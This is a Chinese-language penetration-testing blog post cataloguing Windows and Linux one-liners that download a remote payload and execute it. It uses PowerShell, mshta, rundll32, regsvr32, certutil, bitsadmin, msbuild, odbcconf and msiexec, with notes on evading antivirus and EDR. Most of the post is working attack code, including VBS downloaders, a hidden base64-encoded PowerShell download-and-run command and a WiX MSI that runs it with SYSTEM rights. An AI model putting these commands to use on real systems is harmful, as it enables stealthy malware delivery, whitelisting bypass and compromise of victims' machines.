Download Payload AND Exec

凡是不能把我毁灭的,都将使我更强

0x00 起因

一群大黑客,随便上传东西到别人的服务器,这样是不道德滴。
攻击脚本参考:
HTA-SCT-DLL-WMI
后渗透阶段的攻防对抗
Atomic-Red-Team

进入正题:

1
2
3
4
5
6
任意代码执行 – 例如最新的CVE-2017-11882字符长度限制
从远程服务器上下载payload – 控制端不交互
可以通过代理
使用标准微软二进制文件 – 多个系统执行
EDR(端点检测与响应)友好
在内存里工作 – 因为当你的payload写入磁盘时,可能被防护软件查杀

首先要清楚的是,不是所有命令都能满足上述要求.尤其是 不写入payload到磁盘,因为大部分情况下下载的文件会保存到本地缓存中.

当从远程服务器下载payload时,有3种情况:

1
2
3
该命令接受一个HTTP URL
该命令接受一个UNC路径(指向WebDAV服务器)
该命令能执行一小段脚本,通过脚本来下载payload

windows7,10,HTTP下载的文件保存于IE本地缓存:

1
2
C:\Users\<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\
C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\IE\<subdir>

另外,UAC从WebDAV下载的文件将保存在WebDAV客户端本地缓存:

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV

使用UNC需要确保WebClient服务开启.
启动命令 pushd \\webdavserver & popd

0x01 Powershell

一. HTTP

1
powershell -exec bypass -c "(new-object System.Net.WebClient).DownloadFile('https://github.com/3gstudent/test/raw/master/putty.exe','c:\download\a.exe');start-process 'c:\download\a.exe'"

进行网络通信的进程:powershell.exe
位置:可以选择不写入,'C:/test/update/ssss2.exe'为可选项

二. Webdav
powershell -exec bypass -f \\webdavserver\folder\payload.ps1

进行网络通信的进程:svchost.exe
位置:WebDAV客户端本地缓存

0x02 Cmd

https://github.com/Arno0x/PowerShellScripts

cmd.exe /k < \\webdavserver\folder\batchfile.txt
batchfile.txt是位于WebDAV服务器上的批处理payload

进行网络通信的进程:svchost.exe
位置:WebDAV客户端本地缓存

0x03 Cscript/Wscript

cscript /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:https://raw.githubusercontent.com/3gstudent/test/master/downloadexec3.sct

进行网络通信的进程:svchost.exe
位置:WebDAV客户端本地缓存

0x04 Mshta

一. Mshta和Cscript/Wscript属于同一家族,但是它增加了执行脚本的能力.
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))

进行网络通信的进程:mshta.exe
位置:IE本地缓存

二. 更简单的方式是,mshta接收一个URL作为参数来执行HTA文件
mshta https://3gstudent.github.io/test/calc.hta

进行网络通信的进程:mshta.exe
位置:IE本地缓存
弹框提示此计算机上的安全设置禁止访问其它域的数据源
解决方法:
IE浏览器-Internet选项-安全
自定义级别,找到通过域访问数据源,选择启用
选择可信站点,添加博客地址:https://3gstudent.github.io
限制长度可以使用短地址,部分短地址网站不支持,最终实现的最短字符为25

三. 下面的命令也能工作,并有隐藏下载的文件的优点
mshta \\webdavserver/payload.hta

进行网络通信的进程:svchost.exe
位置:WebDAV客户端本地缓存

0x05 Rundll32

一. 指向标准DLL的UNC路径
rundll32 \\webdavserver\folder\payload.dll,entrypoint

进行网络通信的进程:svchost.exe
位置:WebDAV客户端本地缓存

二. rundll32也可以用于调用jscript脚本
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

进行网络通信的进程:rundll32.exe
位置:IE本地缓存

0x06 Regasm/Regsvc

Regasm和Regsvc是@subTee发现的绕过应用程序白名单的技术之一.你需要创建一个特定的DLL文件(可用.Net/C#写),然后通过WebDAV调用

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

进行网络通信的进程:svchost.exe
位置:WebDAV客户端本地缓存

0x07 Regsvr32

一. HTTP
regsvr32 /u /s /i:https://raw.githubusercontent.com/3gstudent/test/master/downloadexec.sct scrobj.dll

进行网络通信的进程:regsvr32.exe
位置:IE本地缓存

二. Webdav
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

进行网络通信的进程:svchost.exe
位置:WebDAV客户端本地缓存

原理:

regsve32->JScript->powershell->download&exec

JScript调用powershell实现下载执行的代码为:

1
new ActiveXObject("WScript.Shell").Run("powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/3gstudent/test/raw/master/putty.exe','c:\\download\\a.exe');start-process 'c:\\download\\a.exe'",0,true);

参照sct文件格式:

https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct

添加功能,生成downloadexec.sct

通常,vbs脚本实现的下载执行代码:

1
2
3
4
5
6
7
8
9
10
11
12
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("Msxml2.XMLHTTP")
http.open "GET","http://192.168.81.192/putty.exe",False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "c:\download\a.exe"
ado.Close

但该脚本不支持https下载,可以换用Msxml2.ServerXMLHTTP.6.0

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("Msxml2.ServerXMLHTTP.6.0")
http.SetOption 2, 13056
http.open "GET","https://github.com/3gstudent/test/raw/master/putty.exe",False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "c:\download\a.exe"
ado.Close

注:该思路来自@mosin @索马里海贼

也可以通过WinHttp.WinHttpRequest.5.1实现,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
http.open "GET","https://github.com/3gstudent/test/raw/master/putty.exe",False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "c:\download\a.exe"
ado.Close

注:该思路来自@ogre

vbs脚本实现的执行代码

WScript.CreateObject("WScript.Shell").Run "c:\download\a.exe",0,true
依旧是以sct文件作为模板,添加功能,生成downloadexec2.sct

实现功能:

1
regsvr32 /u /s /i:https://raw.githubusercontent.com/3gstudent/test/master/downloadexec2.sct scrobj.dll

0x08 Msbuild

注意,它将需要使用在shell种使用ENABLEDELAYEDEXPANSION(/ V选项)
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

进行网络通信的进程:svchost.exe
位置:WebDAV客户端本地缓存
也可以使用其它方式下载文件,然后用msbuild.exe来执行.

0x09 bitsadmin

bitsadmin /transfer n http://github.com/3gstudent/test/raw/master/putty.exe c:\download\a.exe && c:\download\a.exe
注意,不支持https、ftp协议.使用python简易服务器会报错.使用bitsadmin的下载速度较慢

0x10 组合命令

certutil -urlcache -split -f https://github.com/3gstudent/test/raw/master/putty.exe c:\download\a.exe&&c:\download\a.exe

组合多条命令到一起,使用InstallUtil.exe执行DLL的payload

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

当然了,你也可以直接传递一个可执行文件:

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

0x11 vbs

vbs downloader,使用msxml2.xmlhttp和adodb.stream对象

1.可以直接上传vbs脚本.执行即可

1
2
3
4
5
6
7
8
9
10
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://192.168.174.145/ssss2.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "C:/test/update/ssss2.exe",2

2.没有交互shell ,使用echo写入download.vbs:

1
2
3
4
5
6
7
8
9
10
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://192.168.174.145/ssss2.exe",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "C:/test/update/ssss2.exe",2 >>download.vbs

按顺序依次执行后会生成download.vbs,然后执行download.vbs即可实现下载ssss2.exe


分割线[更新]

0x12 Odbcconf

Odbcconf跟regsvr32有些类似,它同样是@subTee发明的。它能够执行包含特殊功能的DLL,需要注意的是,这种DLL文件不需要使用.dll后缀,而且可以通过UNC/WebDAV下载

odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

进行网络通信的进程:svchost.exe
位置:WebDAV客户端或者web本地缓存

0x13 msiexec

msiexec /q /i https://github.com/3gstudent/test/raw/master/test.msi

《渗透测试中的msiexec》《渗透技巧——从Admin权限切换到System权限》有过介绍,细节不再赘述

首先将powershell实现下载执行的代码作base64编码:

1
2
3
4
$fileContent = "(new-object System.Net.WebClient).DownloadFile('https://github.com/3gstudent/test/raw/master/putty.exe','c:\download\a.exe');start-process 'c:\download\a.exe'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($fileContent);
$encoded = [System.Convert]::ToBase64String($bytes);
$encoded

得到:

1
KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwAzAGcAcwB0AHUAZABlAG4AdAAvAHQAZQBzAHQALwByAGEAdwAvAG0AYQBzAHQAZQByAC8AcAB1AHQAdAB5AC4AZQB4AGUAJwAsACcAYwA6AFwAZABvAHcAbgBsAG8AYQBkAFwAYQAuAGUAeABlACcAKQA7AHMAdABhAHIAdAAtAHAAcgBvAGMAZQBzAHMAIAAnAGMAOgBcAGQAbwB3AG4AbABvAGEAZABcAGEALgBlAHgAZQAnAA==

完整powershell命令为:

1
powershell -WindowStyle Hidden -enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwAzAGcAcwB0AHUAZABlAG4AdAAvAHQAZQBzAHQALwByAGEAdwAvAG0AYQBzAHQAZQByAC8AcAB1AHQAdAB5AC4AZQB4AGUAJwAsACcAYwA6AFwAZABvAHcAbgBsAG8AYQBkAFwAYQAuAGUAeABlACcAKQA7AHMAdABhAHIAdAAtAHAAcgBvAGMAZQBzAHMAIAAnAGMAOgBcAGQAbwB3AG4AbABvAGEAZABcAGEALgBlAHgAZQAnAA==

完整wix文件为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product
Name" Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
<Media Id="1" />
<Directory Id="TARGETDIR" Name="SourceDir">
<Directory Id="ProgramFilesFolder">
<Directory Id="INSTALLLOCATION" Name="Example">
<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
</Component>
</Directory>
</Directory>
</Directory>
<Feature Id="DefaultFeature" Level="1">
<ComponentRef Id="ApplicationFiles"/>
</Feature>
<Property Id="cmdline">powershell -WindowStyle Hidden -enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwAzAGcAcwB0AHUAZABlAG4AdAAvAHQAZQBzAHQALwByAGEAdwAvAG0AYQBzAHQAZQByAC8AcAB1AHQAdAB5AC4AZQB4AGUAJwAsACcAYwA6AFwAZABvAHcAbgBsAG8AYQBkAFwAYQAuAGUAeABlACcAKQA7AHMAdABhAHIAdAAtAHAAcgBvAGMAZQBzAHMAIAAnAGMAOgBcAGQAbwB3AG4AbABvAGEAZABcAGEALgBlAHgAZQAnAA==
</Property>
<CustomAction Id="SystemShell" Execute="deferred" Directory="TARGETDIR"
ExeCommand='[cmdline]' Return="ignore" Impersonate="no"/>
<CustomAction Id="FailInstall" Execute="deferred" Script="vbscript" Return="check">
invalid vbs to fail install
</CustomAction>
<InstallExecuteSequence>
<Custom Action="SystemShell" After="InstallInitialize"></Custom>
<Custom Action="FailInstall" Before="InstallFiles"></Custom>
</InstallExecuteSequence>
</Product>
</Wix>

将其编译,生成test.msi文件,命令如下:

candle.exe msigen.wix
light.exe msigen.wixobj

实现功能:

msiexec /q /i https://github.com/3gstudent/test/raw/master/test.msi
注:执行后需要手动结束进程msiexec.exe

0x14 Linux.部分较特殊

Perl
Perl是一种非常通用的脚本语言,几乎可以用于任何事情
perl use LWP::Simple; getstore("http://domain/file", "file");

Python
Python是一种强调代码可读性的通用脚本语言。与大多数脚本语言一样,目标是编写比编程语言所需的代码更少的代码,同时仍然完成预期的任务。
python import urllib2 u = urllib2.urlopen('http://domain/file') localFile = open('local_file', 'w') localFile.write(u.read()) localFile.close()

Ruby
Ruby是一种面向对象的编程语言,可以用于创建框架(比如Metasploit)到诸如下载文件之类的简单任务。
ruby require 'net/http' Net::HTTP.start("www.domain.com") { |http| r = http.get("/file") open("save_location", "wb") { |file| file.write(r.body) } }

PHP
PHP通常是用于Web开发的服务器端脚本语言,但也可以用作通用脚本语言。
php <?php $data=@file("http://example.com/file"); $lf = "local_file"; $fh=fopen($lf,'w');fwrite($fh, $data[0]); fclose($fh); ?>

FTP
攻击者需要将FTP命令回显到bash脚本,因为它通常需要用户交互来输入用户名和密码
ftp 127.0.0.1 username password get file exit

贴一个三好学生的

1
2
3
4
5
6
echo open 192.168.174.151 21> ftp.txt
echo ftp>> ftp.txt
echo bin >> ftp.txt
echo ftp>> ftp.txt
echo GET ssss2.exe >> ftp.txt
ftp -s:ftp.txt

Wget
Wget是一个Linux和Windows工具,允许非交互式下载。
wget http://example.com/file -o /tmp/file

Netcat
Netcat可以通过连接到一个特定的侦听端口来允许下载文件,该端口将通过连接传递文件的内容。
攻击者cat file | nc -l 1234
被攻击者nc host_ip 1234 > file

0x15 相关链接

https://xianzhi.aliyun.com/forum/topic/1649/
https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/
http://www.jianshu.com/p/9df5e6e62246
https://blog.netspi.com/15-ways-to-download-a-file/
https://github.com/redcanaryco/atomic-red-team
https://gist.github.com/Arno0x
https://github.com/GreatSCT/GreatSCT

本文为原创,转载请遵守本站的版本

更新于: 2018年5月16日 14:05